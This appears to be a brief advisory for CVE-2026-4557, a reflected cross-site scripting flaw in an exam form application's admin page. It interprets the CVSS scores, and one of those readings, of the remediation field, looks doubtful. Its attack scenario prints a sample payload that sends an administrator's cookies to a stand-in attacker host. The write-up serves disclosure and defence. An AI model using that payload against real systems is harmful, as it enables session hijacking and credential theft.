Exam Form Submission CVE-2026-4557

While the CVSS v3.1 base score of 4.3 appears moderate, the actual risk is elevated by several exploitation signals. The attack vector is Network (AV:N) with Low complexity (AC:L) and requires no privileges (PR:N), meaning any internet user can attempt the attack. User interaction (UI:R) is required for impact, which constrains the threat slightly. The CVSS vector shows no confidentiality impact (C:N) but does confirm integrity impact (I:L), meaning successful exploitation compromises the integrity of the admin interface. The Exploit Code Maturity (E:P) indicates proof-of-concept code is publicly available on GitHub, significantly increasing real-world exploitation probability. The Remediation Level (RL:X) indicates no official patch is currently available from the vendor, leaving affected systems vulnerable. The Reliability (RC:R) reflects reasonable confidence in the vulnerability report via VulDB. This combination—public POC, unpatched status, trivial attack complexity, and unauthenticated access—makes this a higher practical risk than the CVSS score alone suggests, particularly in environments where administrative accounts are exposed to user-controlled content or where the admin interface is internet-facing.

An attacker crafts a malicious URL containing JavaScript payload in the 'sname' parameter (e.g., /admin/update_s1.php?sname=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) and tricks an administrator into clicking the link via phishing email or forum post. Because no authentication is required (PR:N) and attack complexity is low (AC:L), the attacker bypasses initial security barriers. When the administrator clicks the link and the page renders, the unescaped payload executes in their browser context, exfiltrating session cookies or injecting a password-change form to harvest credentials. Given that a public POC exists on GitHub, automated scanners and malicious actors are likely already testing this vector against exposed instances.